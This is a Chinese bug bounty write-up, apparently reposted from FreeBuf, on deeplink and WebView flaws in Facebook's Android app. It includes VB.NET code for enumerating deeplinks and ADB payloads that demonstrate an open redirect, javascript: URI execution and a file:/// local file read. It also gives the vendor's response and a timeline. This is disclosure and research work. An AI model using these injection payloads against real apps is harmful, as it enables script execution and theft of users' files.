當前位置:
首頁 > 新聞 > 看我如何發現Facebook安卓APP的$8500美金Webview漏洞

看我如何發現Facebook安卓APP的$8500美金Webview漏洞

2018年6月,我在參與Facebook漏洞眾測項目期間,發現了Facebook安卓APP應用中的兩個Webview組件漏洞。利用這兩個漏洞,攻擊者可以構造惡意鏈接,通過Facebook安卓APP發送給受害者,目標受害者點擊這個鏈接之後就會中招,致使攻擊者可以在受害者手機中執行任意 Javascript 代碼。


在測試結果確切之前,我曾在3個不同手機終端中試驗過這兩個漏洞,漏洞原因主要在於Webview組件中。在與Facebook安全團隊的來回協商之後,他們承認了這兩個漏洞的有效性並及時進行了修復,我最終也獲得了Facebook官方$8500美金的獎勵。


前期發現


漏洞眾測中的前期踩點非常關鍵,這有助於你了解目標的基本情況並能幫助你關注重點。在對Facebook安卓APP的前期踩點中,我把關注點聚集到了一個東西上面,那就是其APP中的deeplink,它也可以叫移動端深度鏈接或是應用跳轉。

deeplink可以算是超鏈接的另外一種類型吧,在APP中它可以把你關聯到一個特定的操作行為。就比如,fb://profile/1395634905,在安卓APP中點擊這個鏈接,它會啟動Facebook的APP應用,並跳轉到你的個人資料頁。


因此,我決定先在APK文件中來查看一些可見的純文本文件,於是,我用WinRAR來打開了Facebook的最新版本的安卓APP,然後在其中查找字元串 「fb://」 ,一會,它就返回了一個結果文件 『assets/Bundle-fb4.js.hbc』,檢查之後可以發現,該文件中具備多個deeplink,其中包括:



fb://marketplace_product_details_from_for_sale_item_id


fb://adsmanager


但是,分析一番,最後也沒什麼可用之處。


然而,在一個為 fb://ama/ 的deeplink線索之下,我在WinRAR打開的APK文件中,找到了一個文件-   『react_native_routes.json』,它可以算是一個「金礦」了,其中包含了Facebook APP操作處理的多個deeplink。


從上圖的文件圖示中,我們可以分析構造出一個如下有效的Facebook deeplink:



fb://ama/?entryPoint={STRING}&fb_hidesTabBar={STRING}&presentationMethod={STRING}&targetURI={STRING}

『react_native_routes.json』 這個文件有12000多行代碼,所以,我需要一些編程技巧來提取出其中的有效deeplink鏈接。之後,我開發了兩個簡單的應用程序,一個用於將JSON格式轉換成資料庫結構,另一個用於從資料庫中創建鏈接。為了後續需要對數據進行處理,我盡量用資料庫的思路來執行。以下就是將JSON格式轉換成資料庫結構的程序代碼:

#Moving JSON into a database structure
Imports System.Data.SQLite
Imports System.IO
Imports Newtonsoft.Json.Linq
Module Module1
   Sub Main(args() As String)
       ProcessFile("react_native_routes.json")
   End Sub
   Public Sub ProcessFile(InputFile As String)
       Dim JSONText = File.ReadAllText(InputFile)
       If JSONText.StartsWith("[") Then
           "Make valid JSON
           JSONText = "{"results" : " & JSONText & " }"
       End If
       Dim json As JObject = JObject.Parse(JSONText)
       Dim arr As JArray = json.SelectToken("results")
       For i = 0 To arr.Count - 1
           Try
               Dim RouteName As String = arr(i).SelectToken("name")
               Dim RoutePath As String = arr(i).SelectToken("path")
               Dim paramJSON As JObject = arr(i).SelectToken("paramDefinitions")
               Dim RouteParamateCount As Integer = arr(i).SelectToken("paramDefinitions").Count
               If RouteParamateCount <> 0 Then
                   Dim o As Integer = 0
                   Dim RouteID As Integer = insertRoute(RouteName, RoutePath, RouteParamateCount)
                   For Each item As JProperty In arr(i).SelectToken("paramDefinitions")
                       o += 1
                       Dim ParamName = item.Name
                       Dim ParamType = item.Value("type").ToString
                       Dim ParamRequired = item.Value("required").ToString
                       insertParamater(ParamName, ParamType, ParamRequired, o, RouteID)
                   Next
               End If
           Catch ex As Exception
           End Try
       Next
   End Sub
   Public Function insertRoute(RouteName As String, RoutePath As String,
                               RouteParamaterCount As Integer) As Integer
       Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db")
       con.Open()
       Dim sql As String = "INSERT INTO RouteTable
                           (RouteName, RoutePath, RouteParamaterCount, RouteAddedDateTime)
                             VALUES
                           (@RN, @RP, @RPC, @RAD)"
       Dim cmd As New SQLiteCommand(sql, con)
       cmd.Parameters.Add("RN", SqlDbType.VarChar).Value = RouteName
       cmd.Parameters.Add("RP", SqlDbType.VarChar).Value = RoutePath
       cmd.Parameters.Add("RPC", SqlDbType.Int).Value = RouteParamaterCount
       cmd.Parameters.Add("RAD", SqlDbType.Int).Value = Date.Now.Ticks
       cmd.ExecuteNonQuery()
       sql = "SELECT last_insert_rowid()"
       cmd = New SQLiteCommand(sql, con)
       insertRoute = cmd.ExecuteScalar()
       con.Close()
   End Function
   Public Sub insertParamater(ParamaterName As String, ParamaterType As String, ParamaterRequired As Boolean,
                             ParamaterOrderIndex As Integer, RouteID As Integer)
       Dim PR As Integer = 0
       If ParamaterRequired = True Then
           PR = 1
       Else
           PR = 0
       End If
       Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db")
       con.Open()
       Dim sql As String = "INSERT INTO ParamaterTable
                           (ParamaterName, ParamaterType, ParamaterRequired, ParamaterOrderIndex, RoutesID)
                             VALUES
                           (@PN, @PT, @PR, @POI, @RID)"
       Dim cmd As New SQLiteCommand(sql, con)
       cmd.Parameters.Add("PN", SqlDbType.VarChar).Value = ParamaterName
       cmd.Parameters.Add("PT", SqlDbType.VarChar).Value = ParamaterType
       cmd.Parameters.Add("PR", SqlDbType.Int).Value = ParamaterRequired
       cmd.Parameters.Add("POI", SqlDbType.Int).Value = PR
       cmd.Parameters.Add("RID", SqlDbType.Int).Value = RouteID
       cmd.ExecuteNonQuery()
       con.Close()
   End Sub
End Module

以上的VB.NET代碼,可以把JSON格式文件中的每條「路徑(path)」,解析為其包括名稱和參數數量的路徑表RouteTable中的對應條目。與實際參數類似,其中的參數可能是存儲在參數表ParamterTable中,其中的屬性包括參數類型、名稱、索引和是否為必填欄位,以及返迴路徑(Route)中的鏈接等。


下面這個程序代碼,用於處理SQLlite資料庫內容,並生成一個命令行列表,然後通過ADB工具在安卓APP中執行deeplink。

#Building ADB commands ready for breaking
Imports System.Data.SQLite
Imports System.IO
Module Module1
 Sub Main(args() As String)
     Dim FilePath As String = Date.Now.ToString("ddMMyyHHmm") & ".txt"
     Dim FBLink As String = ""
     Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db")
     con.Open()
     Dim sql As String = "SELECT RouteID, RouteName, RoutePath FROM RouteTable"
     Dim cmd As New SQLiteCommand(sql, con)
     Dim reader As SQLiteDataReader = cmd.ExecuteReader()
     If reader.HasRows Then
         Using sw As StreamWriter = New StreamWriter(FilePath)
             While reader.Read
                 FBLink = BuildLink(reader("RouteID"), reader("RouteName"), reader("RoutePath"))
                 FBLink = "adb shell am start -a ""android.intent.action.VIEW"" -d """ & FBLink & """"
                 sw.WriteLine(FBLink)
             End While
         End Using
     End If
     reader.Close()
     con.Close()
 End Sub
 Public Function BuildLink(RouteID As Integer, RouteName As String, RoutePath As String) As String
     BuildLink = $"fb:/{RoutePath}/"
     Dim i As Integer = 0
     Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db")
     con.Open()
     Dim sql As String = "SELECT ParamaterName, ParamaterType, ParamaterRequired FROM ParamaterTable
                         WHERE RoutesID = @RID"
     Dim cmd As New SQLiteCommand(sql, con)
     cmd.Parameters.Add("RID", SqlDbType.Int).Value = RouteID
     Dim reader As SQLiteDataReader = cmd.ExecuteReader()
     If reader.HasRows Then
         While reader.Read()
             If i = 0 Then
                 BuildLink &= "?" & reader("ParamaterName") & "=" & getValidValue(reader("ParamaterType"))
             Else
                 BuildLink &= "&" & reader("ParamaterName") & "=" & getValidValue(reader("ParamaterType"))
             End If
             i += 1
         End While
     End If
     reader.Close()
     con.Close()
 End Function
 Public Function getValidValue(ParamaterType As String) As String
     Select Case ParamaterType
         Case "String"
             Return "{STRING}"
         Case "Int"
             Return "{INT}"
         Case "Boolean"
             Return "{BOOLEAN}"
         Case Else
             Return "{STRING}"
     End Select
 End Function
End Module

就以上述發現的 ama deeplink為例,以下就是最終在終端應用中解析執行的樣子:



adb shell am start -a 「android.intent.action.VIEW」 -d 「fb://ama/?entryPoint={STRING}&fb_hidesTabBar={STRING}&presentationMethod={STRING}&targetURI={STRING}」


這樣,我就可以通過命令行來執行類似 fb:// url 這樣的deeplink了,對deeplink的檢查效率也就大大提高了!


發現漏洞


第一個 - 開放重定向漏洞


現在,我們預先構建了一個364條的命令行的列表,那麼,開始行動吧,來看看能從這些命令行中得到了什麼樣的響應。整個過程中有幾個deeplink比較有意思,但最終我把關注點放到了以下這三個上面:


adb shell am start -a 「android.intent.action.VIEW」 -d 「fb://payments_add_paypal/?url={STRING}」


adb shell am start -a 「android.intent.action.VIEW」 -d 「fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl={STRING}」


adb shell am start -a 「android.intent.action.VIEW」 -d 「fb://ads_payments_prepay_webview/?account={STRING}&contextID={STRING}&paymentID={STRING}&url={STRING}&originRootTag={INTEGER}」


這三個deeplink都有一個共同點,那就是url參數,像上面其中的 url={STRING}。那好,既然你需要url,那我就給你一個唄,用https://google.com試試,構造的Payload如下:



adb shell am start -a 「android.intent.action.VIEW」 -d 「fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=https://google.com「


結果返回如下:


哇,成功了!這就是一個開放重定向漏洞!你要知道,Facebook 一直都很重視SSRF和開放重定向這類漏洞。最終我上報之後,獲得了Facebook不多不少$500美金的獎勵。


第二個 - 用戶終端本地文件讀取漏洞

有了第一個漏洞作鋪墊之後,我就往深處想,計劃發揮更深入的漏洞影響。我能不能用javscript URI 來試試呢?還有,能不能想辦法讀取本地文件呢?於是,我又構造了以下兩個Payload:



adb shell am start -a 「android.intent.action.VIEW」 -d 「fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=javascript:confirm(『https://facebook.com/Ashley.King.UK『)」


adb shell am start -a 「android.intent.action.VIEW」 -d 「fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=file:///sdcard/CDAInfo.txt」


出乎意料,兩個Payload都能成功執行!一個能調用到我自己的Facebook主頁鏈接,一個能讀取到客戶端手機中的本地文件!


其實,之後,我還想綜合利用這些漏洞,嘗試去發現更深層次的bug,但無奈最後無所發現。沒有源代碼,我這種黑盒測試的方法也只能到此為止了。那就向Facebook再上報一下這個漏洞吧,最終憑此漏洞,我又獲得Facebook官方$8000美金獎勵。


Facebook安全團隊的回應



我們正在處理你的上報漏洞,你的上報漏洞在於,可以從任何網頁中調用這些服務端,但其影響有限。影響較為嚴重的要數那個在UI界面的本地文件讀取漏洞,但前提也需要對用戶終端設備的訪問許可權,也才能獲取讀取的數據信息。


然而,我們在WebView的代碼審查中發現了一些與你上報漏洞相關的問題,這些問題出在WebView實際的配置和運行中。攻擊者可以綜合利用這些問題bug,來調用Facebook應用的某些內部服務端,並獲取到一些敏感的HTML5 API介面信息。


因為根據你的上報漏洞,我們在內部調查中也發現了幾個更深層的問題bug,所以,根據我們的賞金策略,我們按照最高的潛在安全風險來確定你的漏洞賞金,獎勵你的這些發現。


漏洞上報進程



2018.3.30  向Facebook上報漏洞


2018.4.4    Facebook有效響應


2018.4.13   Facebook修復漏洞


2018.5.16   Facebook發放賞金


*參考來源:ashking,clouds編譯,轉載請註明來自FreeBuf.COM


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

Gartner 2018年中趨勢匯總:我們真的能跟上趨勢的發展嗎?
【FB TV】一周「BUF大事件」:2018 ISC互聯網安全大會北京舉行;《「DDoS威脅與黑灰產業調查」報告》完整版發布

TAG:FreeBuf |